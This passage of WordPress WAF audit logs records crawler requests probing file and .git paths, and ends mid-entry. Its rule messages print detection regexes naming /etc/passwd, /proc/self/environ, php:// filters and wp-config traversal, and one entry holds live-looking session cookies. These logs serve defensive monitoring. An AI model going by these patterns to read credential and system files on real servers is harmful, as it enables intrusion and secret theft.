{"transaction":{"time":"13/Mar/2026:05:06:08.113278 +0100","transaction_id":"abONLoJMkxuqkfzoMwA8rwAAAdM","remote_address":"57.141.20.3","remote_port":33616,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?rename=/usr/base/.wp-cli/cache-php-compat/plugins/wc-wise-gateway/wc-wise-gateway.2.2.json HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.3","X-Forwarded-Proto":"https","X-Request-Id":"3fc453bf76f1b76da01f0d1b4929794a","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"2197242"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"3fc453bf76f1b76da01f0d1b4929794a","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/.wp-cli/cache-php-compat/plugins/wc-wise-gateway/wc-wise-gateway.2.2.json||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":335,"p2":11153,"p3":0,"p4":0,"p5":371,"sr":152,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:05:06:14.932839 +0100","transaction_id":"abONNiFJ_Ynbc5Nhz1aHvQAAARc","remote_address":"57.141.20.23","remote_port":39740,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?rename=/usr/base/.wp-cli/cache-php-compat/plugins/head-footer-code/head-footer-code.1.4.5.json HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.23","X-Forwarded-Proto":"https","X-Request-Id":"3903eea42fb742e3686dd510fa73555c","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"4227883"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"3903eea42fb742e3686dd510fa73555c","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/.wp-cli/cache-php-compat/plugins/head-footer-code/head-footer-code.1.4.5.json||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":280,"p2":10858,"p3":0,"p4":0,"p5":2763,"sr":152,"sw":0,"l":0,"gc":2360},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:05:06:17.109889 +0100","transaction_id":"abONOCFJ_Ynbc5Nhz1aHxwAAAQ0","remote_address":"57.141.20.21","remote_port":38010,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/de/35fe660fe51f5207a2044d3b8e08e0642ea1a9 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.21","X-Forwarded-Proto":"https","X-Request-Id":"030a9ab455f6523f2867b4639b0e8599","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"6947585"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"030a9ab455f6523f2867b4639b0e8599","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?edit=/htdocs/jmknew.jmkconsulting-ci.com/gdata/.git/objects/de/35fe660fe51f5207a2044d3b8e08e0642ea1a9||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":308,"p2":7084,"p3":0,"p4":0,"p5":351,"sr":151,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:05:06:21.731325 +0100","transaction_id":"abONPFV-TtdTFIIkipVD1wAAAJM","remote_address":"57.141.20.52","remote_port":52670,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/dairy-products/?dir=/sftproot/htdocs/sivaco/.git/objects/81 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.52","X-Forwarded-Proto":"https","X-Request-Id":"9e6248707d6c555a24246979381fbcc9","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"5047555"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2466>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"9e6248707d6c555a24246979381fbcc9","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["String match \"/.git/\" at REQUEST_URI. [file \"/usr/share/modsecurity_lws/007_i360_custom.conf\"] [line \"370\"] [id \"77318034\"] [msg \"IM360 WAF: Detected access to git folder||RSV:7.71||T:APACHE||MV:/service/dairy-products/?dir=/sftproot/htdocs/sivaco/.git/objects/81||\"] [severity \"NOTICE\"] [tag \"service_im360\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":361,"p2":9207,"p3":0,"p4":0,"p5":1405,"sr":157,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:05:06:41.434691 +0100","transaction_id":"abONUCFJ_Ynbc5Nhz1aH_gAAAQo","remote_address":"57.141.20.9","remote_port":42280,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=/usr/base/var/lib/mibs/ietf/SYSAPPL-MIB HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.9","X-Forwarded-Proto":"https","X-Request-Id":"1b13c5e1e3726c27e7135de834804cfb","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"2721091"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2474>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"1b13c5e1e3726c27e7135de834804cfb","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/var/lib/mibs/ietf/SYSAPPL-MIB||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":294,"p2":14400,"p3":0,"p4":0,"p5":418,"sr":165,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:05:06:55.708316 +0100","transaction_id":"abONXlV-TtdTFIIkipVEJwAAAJU","remote_address":"57.141.20.3","remote_port":38124,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=/usr/base/.wp-cli/cache-php-compat/plugins/pwa/pwa.0.8.1.json HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.3","X-Forwarded-Proto":"https","X-Request-Id":"61c5d19f3df32695946f88f1faf08c76","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"3835834"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2474>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"61c5d19f3df32695946f88f1faf08c76","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/.wp-cli/cache-php-compat/plugins/pwa/pwa.0.8.1.json||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":586,"p2":11619,"p3":0,"p4":0,"p5":878,"sr":155,"sw":1,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:05:06:57.087353 +0100","transaction_id":"abONYYJMkxuqkfzoMwA9JAAAAco","remote_address":"57.141.20.34","remote_port":57824,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/harvest/?view=/htdocs/jmknew.jmkconsulting-ci.com/gdata/vendor/blade-ui-kit/blade-icons/bin/blade-icons-generate HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.34","X-Forwarded-Proto":"https","X-Request-Id":"5395513fdefab8091cd3131107bdf135","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"7045846"}},"response":{"protocol":"HTTP/1.1","status":406,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"5395513fdefab8091cd3131107bdf135","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"messages":["Access denied with code 406 (phase 2). Pattern match \"/bin/\" at QUERY_STRING. [file \"/usr/share/modsecurity_lws/me_rules.conf\"] [line \"318\"] [id \"410009\"] [msg \"Malware.Expert - query_string: unwanted shell access\"] [tag \"MEWAF\"]"],"error_messages":["[file \"apache2_util.c\"] [line 286] [level 3] ModSecurity: Access denied with code 406 (phase 2). Pattern match \"/bin/\" at QUERY_STRING. [file \"/usr/share/modsecurity_lws/me_rules.conf\"] [line \"318\"] [id \"410009\"] [msg \"Malware.Expert - query_string: unwanted shell access\"] [tag \"MEWAF\"] [hostname \"ptso.jmkconsulting-ci.com\"] [uri \"/service/harvest/\"] [unique_id \"abONYYJMkxuqkfzoMwA9JAAAAco\"]"],"action":{"intercepted":true,"phase":2,"message":"Pattern match \"/bin/\" at QUERY_STRING."},"stopwatch":{"p1":529,"p2":6051,"p3":0,"p4":0,"p5":401,"sr":161,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:05:07:10.947469 +0100","transaction_id":"abONbrmW8D9YFg8ovrcCUAAAAMs","remote_address":"57.141.20.30","remote_port":39424,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/harvest/?rename=/usr/base/usr/share/locale/he/LC_MESSAGES/sed.mo HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.30","X-Forwarded-Proto":"https","X-Request-Id":"6d0aa274fd5590444f48bc1974a09537","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"5147527"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2422>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"6d0aa274fd5590444f48bc1974a09537","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/locale/he/LC_MESSAGES/sed.mo||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":364,"p2":7437,"p3":0,"p4":0,"p5":457,"sr":157,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:05:08:21.994996 +0100","transaction_id":"abONtPgQSd_XQ-U0cJxH3QAAAVE","remote_address":"57.141.20.17","remote_port":60818,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/organic-products/?rename=/usr/base/usr/share/zoneinfo/Arctic/Longyearbyen HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.17","X-Forwarded-Proto":"https","X-Request-Id":"dec3f252623540d7a5d765df0e8b2561","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"7242947"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2480>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"dec3f252623540d7a5d765df0e8b2561","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/zoneinfo/Arctic/Longyearbyen||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":314,"p2":6975,"p3":0,"p4":0,"p5":428,"sr":184,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:05:13:10.949227 +0100","transaction_id":"abOO1SFJ_Ynbc5Nhz1aMAgAAAQU","remote_address":"57.141.20.13","remote_port":35464,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/agriculture-products/?rename=/usr/base/usr/share/terminfo/b/bracketed%20paste HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.13","X-Forwarded-Proto":"https","X-Request-Id":"4d294b2fd4e34b77e530e24724d83d82","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"6163443"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2488>; rel=shortlink","Vary":"Accept-Encoding","X-Orig-Rid":"4d294b2fd4e34b77e530e24724d83d82","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/usr/share/terminfo/b/bracketed paste||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":337,"p2":7956,"p3":0,"p4":0,"p5":439,"sr":169,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:05:16:05.830465 +0100","transaction_id":"abOPg1V-TtdTFIIkipVHpgAAAIQ","remote_address":"57.141.20.36","remote_port":43776,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /service/fresh-vegetables/?rename=/usr/base/opt/php8.0/lib/php/build/phpize.m4 HTTP/1.1","headers":{"Host":"ptso.jmkconsulting-ci.com","X-Real-IP":"57.141.20.36","X-Forwarded-Proto":"https","X-Request-Id":"646ff3063e260274ea2a9f79acb53911","X-L-Admin-Auth":"0","accept":"*/*","user-agent":"meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","X-Cache-Group":"facebook","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","X-Varnish":"2949856"}},"response":{"protocol":"HTTP/1.1","status":200,"headers":{"Link":"<https://ptso.jmkconsulting-ci.com/wp-json/>; rel=\"https://api.w.org/\", <https://ptso.jmkconsulting-ci.com/?p=2474>; rel=shortlink","Upgrade":"h2,h2c","Connection":"Upgrade","Vary":"Accept-Encoding","X-Orig-Rid":"646ff3063e260274ea2a9f79acb53911","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html; charset=UTF-8"}},"audit_data":{"messages":["Pattern match \"(?i)\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./\\\\.\\\\./|\\\\.\\\\./wp-config|/etc/passwd|/proc/self/environ|php://|filter//?(?:read|write|resource|convert|zlib)|/(?:usr|bin|opt|tmp|etc|proc)/|\\\\$CONFIG\\\\b|error_reporting[:=\\\\s\\\\x22\\\\x27]+?false|add_action|do_action|//filter/\" at ARGS:rename. [file \"/usr/share/modsecurity_lws/008_i360_wordpress.conf\"] [line \"2865\"] [id \"77789665\"] [msg \"IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:rename||MV:/usr/base/opt/php8.0/lib/php/build/phpize.m4||RSV:7.71||T:APACHE||\"] [severity \"NOTICE\"] [tag \"wp_core\"]"],"handler":"proxy:unix:/var/www/jmkconsulting-ci.com/php.socket|fcgi://127.0.0.1:9000/","stopwatch":{"p1":500,"p2":6802,"p3":0,"p4":0,"p5":454,"sr":223,"sw":0,"l":0,"gc":0},"producer":["ModSecurity for Apache/2.9.11 (http://www.modsecurity.org/)","ME WAF"],"server":"Apache/2.4.66 (Debian)","engine_mode":"ENABLED"}}
{"transaction":{"time":"13/Mar/2026:05:18:38.904909 +0100","transaction_id":"abOQHpn1uGdaZ1c5-sNwCQAAAAo","remote_address":"43.173.180.9","remote_port":34906,"local_address":"127.0.0.1","local_port":980},"request":{"request_line":"GET /agricole/css/?family=Roboto%3A700%2C300 HTTP/1.1","headers":{"Host":"www.jmkconsulting-ci.com","X-Real-IP":"43.173.180.9","X-Forwarded-Proto":"https","X-Request-Id":"27d84fb4b19bf8b6117a2eb480cd6c16","X-L-Admin-Auth":"0","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36","Accept":"text/css,*/*;q=0.1","Accept-Language":"en-US,en;q=0.9","Referer":"https://www.jmkconsulting-ci.com/agricole/fr/","X-Cache-Engine-Enable":"1","X-Cache-User":"jmkco1775850","Via":"1.1 webdb01.lwspanel.com (Varnish/7.7)","Cookie":"XSRF-TOKEN=eyJpdiI6InpsQUFUU1pxU1E3Z3lodVU5OTBTVnc9PSIsInZhbHVlIjoiNXZZT3VVeWppOTJHR1VCM21LOHFodk1ncU9CUDFheTF6cjR6L0dlcXdJSkp0NHJwcVdCMXZLVlN5RThNYmcyZG82VlBMRkFiWHZ1VGhWL1IvN0kzSU5YOTAxcE0yL0VldC9aWFFZQVhsTjBRRkdER3FmL3RXbFFhVmxWOUdpVkwiLCJtYWMiOiJkYTQzODVjYzEyMzhhMzYwYWJhNjQzMjI3YzEyNGMyM2Q2OGUxYmFmOWZjNTdkMTc0ZjNlYTM5YTk1ZDY4OWIyIiwidGFnIjoiIn0%3D; page_dadministration_jmk_session=eyJpdiI6IjFXYjBDREIyWHRRSEEyaHBSTzZVV0E9PSIsInZhbHVlIjoiWDFmQWZDRUVXTVBIZityOWp2Q2Q1RldtRjV5enBMcHFNS1lweWsxTWhCbjJQc0VoQ3Y3SmRmeUdsTm1lenBDdkRDT1U1emYrWklvdHBSTlRFSXFPUktldE9jT1lveXExRVpXMWV2bzR2U05hbjNwMnkvMnRFQ0pGTlpSblYrUHEiLCJtYWMiOiIzZTcxNDk5NzJkN2RiMzA3N2MxYzVhNjk4YmRkMjMzNmQxZTQ5YzIyYzZkODA2YWI0ODJhMDk3NzU0MjVlN2FjIiwidGFnIjoiIn0%3D","X-Varnish":"2706","Accept-Encoding":"gzip"}},"response":{"protocol":"HTTP/1.1","status":403,"headers":{"Accept-Ranges":"bytes","X-Orig-Rid":"27d84fb4b19bf8b6117a2eb480cd6c16","X-Anubis-Action":"","X-Anubis-Rule":"","X-Anubis-Status":"","Transfer-Encoding":"chunked","Content-Type":"text/html"}},"audit_data":{"error_messages":["[file \"mod_autoindex.c\"] [line 2326] [level 3] 